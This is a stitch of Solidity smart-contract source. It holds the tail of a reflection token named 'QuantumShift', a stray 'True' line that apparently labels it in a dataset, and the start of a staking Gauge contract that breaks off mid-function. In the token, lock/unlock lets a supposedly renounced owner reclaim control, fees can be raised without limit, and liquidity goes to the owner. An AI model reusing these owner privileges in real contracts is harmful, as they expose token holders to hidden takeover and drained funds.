"Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract QuantumShift is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Quantum Shift"; string private _symbol = "QSC"; uint8 private _decimals = 18; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 8; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 50000000 * 10**6 * 10**18; uint256 private numTokensSellToAddToLiquidity = 5000000 * 10**6 * 10**18; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-11-17 */ /** *Submitted for verification at Etherscan.io on 2021-09-21 */ /** *Submitted for verification at Etherscan.io on 2021-08-19 */ /** *Submitted for verification at Etherscan.io on 2021-08-08 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.7; //^0.7.5; library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "add: +"); return c; } function add(uint a, uint b, string memory errorMessage) internal pure returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "sub: -"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "mul: *"); return c; } function mul(uint a, uint b, string memory errorMessage) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "div: /"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () public { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } contract Gauge is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); address public constant TREASURY = address(0x066419EaEf5DE53cc5da0d8702b990c5bc7D1AB3); IERC20 public immutable TOKEN; address public immutable DISTRIBUTION; uint256 public constant DURATION = 7 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; modifier onlyDistribution() { require(msg.sender == DISTRIBUTION, "Caller is not RewardsDistribution contract"); _; } mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; uint public derivedSupply; mapping(address => uint256) private _balances; mapping(address => uint256) public derivedBalances; mapping(address => uint) private _base; constructor(address _token) public { TOKEN = IERC20(_token); DISTRIBUTION = msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(derivedSupply) ); } function derivedBalance(address account) public view returns (uint) { uint _balance = _balances[account]; uint _derived = _balance.mul(40).div(100); uint _adjusted = (_totalSupply.mul(DILL.balanceOf(account)).div(DILL.totalSupply())).mul(60).div(100); return Math.min(_derived.add(_adjusted), _balance); } function kick(address account) public { uint _derivedBalance = derivedBalances[account]; derivedSupply = derivedSupply.sub(_derivedBalance); _derivedBalance = derivedBalance(account); derivedBalances[account] = _derivedBalance; derivedSupply = derivedSupply.add(_derivedBalance); } function earned(address account) public view returns (uint256) { return derivedBalances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(DURATION); } function depositAll() external { _deposit(TOKEN.balanceOf(msg.sender), msg.sender); } function deposit(uint256 amount) external { _deposit(amount, msg.sender); } function depositFor(uint256 amount, address account) external { _deposit(amount, account); } function _deposit(uint amount, address account) internal nonReentrant updateReward(account) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Staked(account, amount); TOKEN.safeTransferFrom(account, address(this), amount); } function withdrawAll() external { _withdraw(_balances[msg.sender]); } function withdraw(uint256 amount) external { _withdraw(amount); } function _withdraw(uint amount) internal nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); TOKEN.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; PICKLE.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { _withdraw(_balances[msg.sender]); getReward(); } function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) { PICKLE.safeTransferFrom(DISTRIBUTION, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = PICKLE.balanceOf(address(this)); require(rewardRate <= balance.div(DURATION), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = 